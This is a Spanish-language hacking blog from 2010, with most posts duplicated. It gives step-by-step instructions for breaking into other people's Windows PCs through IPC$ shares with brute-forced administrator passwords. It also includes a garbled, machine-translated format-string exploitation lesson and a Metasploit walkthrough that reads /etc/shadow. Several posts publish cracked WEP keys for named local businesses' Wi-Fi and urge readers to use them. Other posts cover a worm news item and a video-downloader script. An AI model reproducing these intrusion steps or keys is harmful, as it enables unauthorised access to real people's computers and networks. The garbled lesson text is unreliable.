Saludo Mundo libre .
He aqui una pequena explicacion de como entrar a una pc .
Primero deberemos tener la ip de la pc a la que queramos entrar una muy buena manera de sacarla es esta: noss autentificamos en el MSN y le mandamos un archivo a la victima mientras se lo estas mandando abrimos el MS-DOS y pones:
netstat -n y te dara la ip de la persona
Despues cuando ya tengamos la ip te vas de nuevo al MS-DOS y pones:
net use \\ipdelamaquinaremota\IPC$ * /user:administrador
Eso es para entrar como administrador seguramente te va a pedir password para descifrar la password te recomiendo algun programa de fuerza bruta y listo ya podrás sacar la password .
Otra manera de entrar es poniendo:
net use \\ipremoto\IPC$ * /user:""
Eso es para entrar como usuario nulo talvez no te pida password pero vas a tener menos privilegios si entras como usuario nulo te recomiendo entrar como administrador , acuerdate que tendrás que sacar la password.
Y bueno si conseguiste entrar a la pc via IPC$ empieza a administrar la pc
Si tienes conocimientos en MS-DOS podrás poner los comandos a ejecutar en el MS-DOS
O si no puedes ir a mi pc y donde diría mi pc pones:
\\IPREMOTO
Y listo ya estaras en el escritorio remoto
Saludos Mundo Libre.
martes, 14 de septiembre de 2010
lunes, 13 de septiembre de 2010
Explotar de forma remota un error de formato
La explotación de un error de formato de forma remota puede ser algo muy divertido. Lo permite entender muy bien los riesgos asociados a este tipo de errores. No vamos a explicar aquí la base para esta vulnerabilidad (es decir, su origen o la construcción de la cadena de formato)
- [1. Contexto: el servidor] vulnerables -
Vamos a utilizar el servidor muy minimalista (pero sin embargo pedagógicos) a lo largo este trabajo. La Comisión solicita un nombre de usuario y contraseña, luego se hace eco de su insumos.
Para instalar el servidor fmtd, tendrá que configurar inetd para que
conexiones con el puerto 12345 están permitidos:
Or with xinetd:
# /etc/xinetd.conf
service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
only_from = 192.168.1.1 192.168.1.2 127.0.0.1
}
A continuación, reinicie su servidor. No se olvide de cambiar las reglas de su
servidor de seguridad si está utilizando una.
Ahora, vamos a ver cómo funciona este servidor:
$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
hello world
hello world
^]
telnet> quit
Connection closed.
Vamos a echar un vistazo al archivo de registro:
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255
En el ejemplo anterior, nos indica un inicio de sesión, una contraseña y un
frase antes de cerrar la conexión. Pero qué sucede cuando alimentamos
el servidor con las instrucciones de formato:
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520
Las instrucciones "% x% x% x% x" , muestra que nuestro
servidor es vulnerable a un error de formato.
De hecho, todos los programas actuan como que no son vulnerables a un
formato de errores:
int main( int argc, char ** argv )
{
char buf[8];
sprintf( buf, argv[1] );
}
Usando hn% aprovechado esta conduce a un desbordamiento: el formato de cadena es cada vez más y más, pero desde ningún control
realizados por su longitud, un desbordamiento.
En cuanto a las fuentes revela que los problemas vienen de vul ()
función:
...
snprintf(tmp, sizeof(tmp)-1, buf);
...
está disponible directamente a un usuario malintencionado, el ze "="
ya que el está disponible directamente a un usuario malintencionado, a
este último se le permite tomar el control del servidor ... y obtener así una
shell con los privilegios del servidor.
esta es la primera entrega en ya iremos platicando de esto mas adelante.
Saludos mundo libre.
- [1. Contexto: el servidor] vulnerables -
Vamos a utilizar el servidor muy minimalista (pero sin embargo pedagógicos) a lo largo este trabajo. La Comisión solicita un nombre de usuario y contraseña, luego se hace eco de su insumos.
Para instalar el servidor fmtd, tendrá que configurar inetd para que
conexiones con el puerto 12345 están permitidos:
Or with xinetd:
# /etc/xinetd.conf
service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
only_from = 192.168.1.1 192.168.1.2 127.0.0.1
}
A continuación, reinicie su servidor. No se olvide de cambiar las reglas de su
servidor de seguridad si está utilizando una.
Ahora, vamos a ver cómo funciona este servidor:
$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
hello world
hello world
^]
telnet> quit
Connection closed.
Vamos a echar un vistazo al archivo de registro:
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255
En el ejemplo anterior, nos indica un inicio de sesión, una contraseña y un
frase antes de cerrar la conexión. Pero qué sucede cuando alimentamos
el servidor con las instrucciones de formato:
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520
Las instrucciones "% x% x% x% x" , muestra que nuestro
servidor es vulnerable a un error de formato.
De hecho, todos los programas actuan como que no son vulnerables a un
formato de errores:
int main( int argc, char ** argv )
{
char buf[8];
sprintf( buf, argv[1] );
}
Usando hn% aprovechado esta conduce a un desbordamiento: el formato de cadena es cada vez más y más, pero desde ningún control
realizados por su longitud, un desbordamiento.
En cuanto a las fuentes revela que los problemas vienen de vul ()
función:
...
snprintf(tmp, sizeof(tmp)-1, buf);
...
está disponible directamente a un usuario malintencionado, el ze "="
ya que el
este último se le permite tomar el control del servidor ... y obtener así una
shell con los privilegios del servidor.
esta es la primera entrega en ya iremos platicando de esto mas adelante.
Saludos mundo libre.
viernes, 10 de septiembre de 2010
W32.Imsolk.A @ mm
Saludos Mundo Libre he aqui un gusano
Variante W32.Imsolk/VBMania
Oh esto es un tiro de nuevo a los años 90, un gusano auto-replicantes de correo electrónico basado en un protector de pantalla malicioso (. Scr) que se envía a todos en su libreta de direcciones. Al parecer, éste se está extendiendo rápidamente aunque con cientos de miles de infecciones.
Recuerda del apogeo de ILOVEYOU y Anna Kournikova.
Un gusano de correo electrónico de rápido movimiento que empezó a difundirse el jueves ha sido capaz de afectar a cientos de miles de computadoras en todo el mundo, anti-virus Symantec advirtió proveedor.
El correo electrónico llega con el tema "Aquí tienes." Un protector de pantalla ejecutable que disfrazado como un documento PDF a continuación, intenta enviar el mismo mensaje a todos los incluidos en el libro de la dirección del destinatario. El archivo. Scr es una variante del gusano W32.Imsolk.A @ mm Symantec descubrió el mes pasado.
Además de difundir a través de correo electrónico, puede propagarse a través de las unidades asignadas, la ejecución automática y mensajería instantánea. También tiene la capacidad de deshabilitar los programas de seguridad diferentes.
Es ligeramente más avanzada que las versiones antiguas, aunque con la capacidad de propagarse a través de mensajería instantánea (MSN Messenger Live, probablemente), así como los programas de seguridad deshabilitar.
Además, es más difícil para buscar maliciosos como el protector de pantalla
en realidad no es adjunto al correo electrónico, pero descargado desde un origen remoto, y desde los primeros informes - múltiples fuentes remotas.
íóEl gusano es un retroceso a los ataques que no se ve en casi una década, cuando el Anna Kournikova y I Love You ataques causaron estragos en los sistemas de correo electrónico en todo el mundo. El que aquí tienes gusano parece diferente, ya que la carga maliciosa es descargada de una página en members.multimania.com, en lugar de ser adjunto al correo electrónico. Esto podría hacer que los esfuerzos para erradicar el gusano más fácil.
Por otra parte, McAfee dijo que múltiples variantes del gusano parece estar extendiéndose, por lo que todavía no está claro que el protector de pantalla malicioso se encuentra alojado por una sola fuente.
Tratare de conseguir el codigo para densensamblarlo y exponer el codigo fuente
Saludos Mundo libre.
fuente www.darknet.org.uk gracias.
Variante W32.Imsolk/VBMania
Oh esto es un tiro de nuevo a los años 90, un gusano auto-replicantes de correo electrónico basado en un protector de pantalla malicioso (. Scr) que se envía a todos en su libreta de direcciones. Al parecer, éste se está extendiendo rápidamente aunque con cientos de miles de infecciones.
Recuerda del apogeo de ILOVEYOU y Anna Kournikova.
Un gusano de correo electrónico de rápido movimiento que empezó a difundirse el jueves ha sido capaz de afectar a cientos de miles de computadoras en todo el mundo, anti-virus Symantec advirtió proveedor.
El correo electrónico llega con el tema "Aquí tienes." Un protector de pantalla ejecutable que disfrazado como un documento PDF a continuación, intenta enviar el mismo mensaje a todos los incluidos en el libro de la dirección del destinatario. El archivo. Scr es una variante del gusano W32.Imsolk.A @ mm Symantec descubrió el mes pasado.
Además de difundir a través de correo electrónico, puede propagarse a través de las unidades asignadas, la ejecución automática y mensajería instantánea. También tiene la capacidad de deshabilitar los programas de seguridad diferentes.
Es ligeramente más avanzada que las versiones antiguas, aunque con la capacidad de propagarse a través de mensajería instantánea (MSN Messenger Live, probablemente), así como los programas de seguridad deshabilitar.
Además, es más difícil para buscar maliciosos como el protector de pantalla
en realidad no es adjunto al correo electrónico, pero descargado desde un origen remoto, y desde los primeros informes - múltiples fuentes remotas.
íóEl gusano es un retroceso a los ataques que no se ve en casi una década, cuando el Anna Kournikova y I Love You ataques causaron estragos en los sistemas de correo electrónico en todo el mundo. El que aquí tienes gusano parece diferente, ya que la carga maliciosa es descargada de una página en members.multimania.com, en lugar de ser adjunto al correo electrónico. Esto podría hacer que los esfuerzos para erradicar el gusano más fácil.
Por otra parte, McAfee dijo que múltiples variantes del gusano parece estar extendiéndose, por lo que todavía no está claro que el protector de pantalla malicioso se encuentra alojado por una sola fuente.
Tratare de conseguir el codigo para densensamblarlo y exponer el codigo fuente
Saludos Mundo libre.
fuente www.darknet.org.uk gracias.
viernes, 27 de agosto de 2010
Dscarga de videos de metacafe DailyMotion y mas
De antemano gracias a http://daw-labs.com por este aporte., este es el codigo echo en python para la descarga de videos Metacafe, DailyMotion, y muchos sitios más
El funcionamiento es sencillo y tan sólo consta de tres parámetros, los cuales son:
•-D : Descarga el video automáticamente y lo guarda en el disco local C, con el nombre de: Video_by_VideoDown.flv
Su uso es: VideoDown.py -D
•-O : Obtiene sólo la URL de descarga.
Su uso es: VideoDown.py -O
•-H : Muestra la ayuda.
Su uso es: VideoDown.py -H
he aqui el codigo
#!/usr/bin/python
# -*- coding: utf-8 -*-
# VideoDown.py - DaW - Labs
# Autor: .:WindHack:.
# 22/07/2010 - www.daw-labs.com
# Puede usar, modificar y redistribuir éste código
# siempre y cuando respete los derechos de autor.
import sys, urllib
from sgmllib import SGMLParser
class Parser(SGMLParser):
def reset(self):
SGMLParser.reset(self)
self.urls = []
def start_a(self, attrs):
href = [v for k, v in attrs if k=='href']
if href:
self.urls.extend(href)
def DownloadStatus(Bloque,Tamano,Total):
Cantidad = Bloque * Tamano / 1024
Total = Total / 1024
print 'Cantidad descargada: %s KB de %s KB ...' % (Cantidad,Total)
if Cantidad > Total:
print 'Descarga finalizada.'
def DownloadVideo(URL, Name, Status):
try:
Download = urllib.urlretrieve(URL, Name, Status)
return Download[0]
except:
return 'Ha sucedido un error en la descarga.'
def GetDownloadURL(URL,Download):
if len(URL) != 0:
URLv = urllib.urlopen('http://www.flashvideodownloader.org/download2.php?u=%s' % URL)
DownloadURL = Parser()
DownloadURL.feed(URLv.read())
DownloadURL.close()
URLv.close()
URL = DownloadURL.urls[8]
if Download == True:
DownloadVideo(URL,'C:\Video_By_VideoDown.flv',DownloadStatus)
else:
return 'La URL de descarga es:\n%s' % URL
else:
return 'URL inválida...'
def __main__():
__Ayuda__ = '''
VideoDown!
© 2010. DaW - Labs - www.daw-labs.com
Uso:
VideoDown.py
Opciones:
-D : Descarga un video.
-O : Obtiene sólo la URL de descarga.
-H : Muestra la ayuda.
-----------------------------------------------------------
Para ver la lista de sitios soportados abra el archivo:
Supported Sites.txt
'''
try:
Opc = sys.argv[1]
if Opc == '-H':
print __Ayuda__
elif Opc == '-D':
GetDownloadURL(sys.argv[2],True)
elif Opc == '-O':
print GetDownloadURL(sys.argv[2],False)
else:
print 'Se esperaba un parámetro...'
except:
print __Ayuda__
if __name__ == "__main__":
__main__()
Mundo Libre sin Barreras
El funcionamiento es sencillo y tan sólo consta de tres parámetros, los cuales son:
•-D : Descarga el video automáticamente y lo guarda en el disco local C, con el nombre de: Video_by_VideoDown.flv
Su uso es: VideoDown.py -D
•-O : Obtiene sólo la URL de descarga.
Su uso es: VideoDown.py -O
•-H : Muestra la ayuda.
Su uso es: VideoDown.py -H
he aqui el codigo
#!/usr/bin/python
# -*- coding: utf-8 -*-
# VideoDown.py - DaW - Labs
# Autor: .:WindHack:.
# 22/07/2010 - www.daw-labs.com
# Puede usar, modificar y redistribuir éste código
# siempre y cuando respete los derechos de autor.
import sys, urllib
from sgmllib import SGMLParser
class Parser(SGMLParser):
def reset(self):
SGMLParser.reset(self)
self.urls = []
def start_a(self, attrs):
href = [v for k, v in attrs if k=='href']
if href:
self.urls.extend(href)
def DownloadStatus(Bloque,Tamano,Total):
Cantidad = Bloque * Tamano / 1024
Total = Total / 1024
print 'Cantidad descargada: %s KB de %s KB ...' % (Cantidad,Total)
if Cantidad > Total:
print 'Descarga finalizada.'
def DownloadVideo(URL, Name, Status):
try:
Download = urllib.urlretrieve(URL, Name, Status)
return Download[0]
except:
return 'Ha sucedido un error en la descarga.'
def GetDownloadURL(URL,Download):
if len(URL) != 0:
URLv = urllib.urlopen('http://www.flashvideodownloader.org/download2.php?u=%s' % URL)
DownloadURL = Parser()
DownloadURL.feed(URLv.read())
DownloadURL.close()
URLv.close()
URL = DownloadURL.urls[8]
if Download == True:
DownloadVideo(URL,'C:\Video_By_VideoDown.flv',DownloadStatus)
else:
return 'La URL de descarga es:\n%s' % URL
else:
return 'URL inválida...'
def __main__():
__Ayuda__ = '''
VideoDown!
© 2010. DaW - Labs - www.daw-labs.com
Uso:
VideoDown.py
Opciones:
-D : Descarga un video.
-O : Obtiene sólo la URL de descarga.
-H : Muestra la ayuda.
-----------------------------------------------------------
Para ver la lista de sitios soportados abra el archivo:
Supported Sites.txt
'''
try:
Opc = sys.argv[1]
if Opc == '-H':
print __Ayuda__
elif Opc == '-D':
GetDownloadURL(sys.argv[2],True)
elif Opc == '-O':
print GetDownloadURL(sys.argv[2],False)
else:
print 'Se esperaba un parámetro...'
except:
print __Ayuda__
if __name__ == "__main__":
__main__()
Mundo Libre sin Barreras
ESCUELA HACKER EN PUEBLA
Si cuentas con conocimientos en el area de inforatica o no cuentas con ellos y te gustaria formar parte de una cultra hacktivista en puebla para el desarrollo de hackers en puebla comunicate al 0442221484314.
Un Mundo Limpio Y Sin Muros.
Un Mundo Limpio Y Sin Muros.
lunes, 23 de agosto de 2010
Mundo limpio
En esta larga auzencia me he dedicado en cuerpo y alma ala busqueda de energias renobables como calentadores solares y generadores eolicos para la construccion de los mismo y con un costo muy accesible que estoy planeando crear paso a paso para fabricar un manual y un video manual para su fabricacion.
Usemos energias alternas no mas fociles.
Usemos energias alternas no mas fociles.
martes, 22 de junio de 2010
Una Wep mas
Saludos Mundo Libre He aqui una wep mas esta se encuentra en plaza norte por el bulevard norte he aqui la wep
PNOSELK [ 60:14:47:33:00 ]
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni por los conocimientos adquiridos
para todos los comerciantes cuando una lleva su servicio para sus redes pagen gastan mas si lestiramos su servicio que el costo de mantenimiento a sus sistemas hay se los dejo
Saludos Mundo Libre
PNOSELK [ 60:14:47:33:00 ]
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni por los conocimientos adquiridos
para todos los comerciantes cuando una lleva su servicio para sus redes pagen gastan mas si lestiramos su servicio que el costo de mantenimiento a sus sistemas hay se los dejo
Saludos Mundo Libre
lunes, 21 de junio de 2010
Una Wep Mas
Saludos Mundo Libre He aqui una wep mas en esta ocacion le toco a la plaza norte en el bulevard norte asi que dirijan sus antenas a la plaza y a navegar he aqui la wep
ventas01 [ 24:02:65:12:34 ]
Para el administrador de esta red hay que ponerle mas empeno ya que si es un punto de venta pues hay te la dejo pienzalo
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni por los conocimientos adquiridos.
Saludos Mundo Libre
ventas01 [ 24:02:65:12:34 ]
Para el administrador de esta red hay que ponerle mas empeno ya que si es un punto de venta pues hay te la dejo pienzalo
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni por los conocimientos adquiridos.
Saludos Mundo Libre
viernes, 18 de junio de 2010
Una Wep Mas
saludos Mundo Libre he aqui una wep mas esta se encuantra en la avenida juares y la 18 aqui se las dejo
maribel [ 59:16:38:22:01 ]
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni de los conocimientos adquiridos
Saludos Mundo Libre
maribel [ 59:16:38:22:01 ]
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni de los conocimientos adquiridos
Saludos Mundo Libre
jueves, 17 de junio de 2010
Tercera entrega de root shell via metasploit
Saludos Mundo Libre
He aquí la tercera entrega y ultima de este pequeño manual de como obtener una shell vía matasploit.
seguimos nos quedamos en que habiamos lanzado el exploit y empieza a buscar el password ya que lo encontró ponemos lo siguiente.
msf>sessions -L
msf> -i 1 y empieza a interactuar ya dentro tecleamos lo siguiente.
msf>id
msf>pwd
msf>uname -a
nos cambiamos a una shell llamada terminal y allí tecleamos
bt#ssh msfadmin@ip de la víctima
bt#sudo -i
bt#id
bt#cat /etc/shadow
bt#clear
bt#ifconfig eth0
y estamos dentro .
Saludos Mundo Libre
He aquí la tercera entrega y ultima de este pequeño manual de como obtener una shell vía matasploit.
seguimos nos quedamos en que habiamos lanzado el exploit y empieza a buscar el password ya que lo encontró ponemos lo siguiente.
msf>sessions -L
msf> -i 1 y empieza a interactuar ya dentro tecleamos lo siguiente.
msf>id
msf>pwd
msf>uname -a
nos cambiamos a una shell llamada terminal y allí tecleamos
bt#ssh msfadmin@ip de la víctima
bt#sudo -i
bt#id
bt#cat /etc/shadow
bt#clear
bt#ifconfig eth0
y estamos dentro .
Saludos Mundo Libre
miércoles, 16 de junio de 2010
Una wep Mas
Saludos mundo Libre he aqui una wep mas esta en la plaza 1313 por la 11 sur explorando encontre de 10 redes wifi 6 con clave wep 2 con clave wap y el resto abiertas asi que direccionen sus antenas y listo ha navegar
INFINITUM2638 [ 95:76:73:67:06 ]
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni de su empleo.
Mundo Libre
INFINITUM2638 [ 95:76:73:67:06 ]
El Autor no se hace responsable por el uso o el mal uso de la informacion aqui descrita ni de su empleo.
Mundo Libre
martes, 15 de junio de 2010
Una Wep Mas
Saludos Mundo Libre he aqui una wep mas y además un coco para el administrador de esta red ya que es de una tienda de empeño cual es el colmo de un administrador de una red de empeño es que no le pone empeño jajaja pues he aqui
Casa_Empeno [ 22:22:11:17:00 ]
Esta se encuentra en plaza 1313 en la 11 sur.
El Autor no se hace responsable del uso o el mal uso de la información aqui descrita ni los conocimientos adquiridos por los temas
Mundo Libre.
Casa_Empeno [ 22:22:11:17:00 ]
Esta se encuentra en plaza 1313 en la 11 sur.
El Autor no se hace responsable del uso o el mal uso de la información aqui descrita ni los conocimientos adquiridos por los temas
Mundo Libre.
lunes, 14 de junio de 2010
Una Wep Mas
saludos Mundo Libre he aqui una wep mas por supuesto en plaza san pedro ya he comentado por que estoy buscando plazas he aqui la wep
INFINITUMCC955D [ 92:F0:24:0B:CE ]pza san pedro
El Autor no se hace responsable por el uso o el mal uso de la información aquí descrita ni su empleo de la misma
Mundo Libre
INFINITUMCC955D [ 92:F0:24:0B:CE ]pza san pedro
El Autor no se hace responsable por el uso o el mal uso de la información aquí descrita ni su empleo de la misma
Mundo Libre
Suscribirse a:
Entradas (Atom)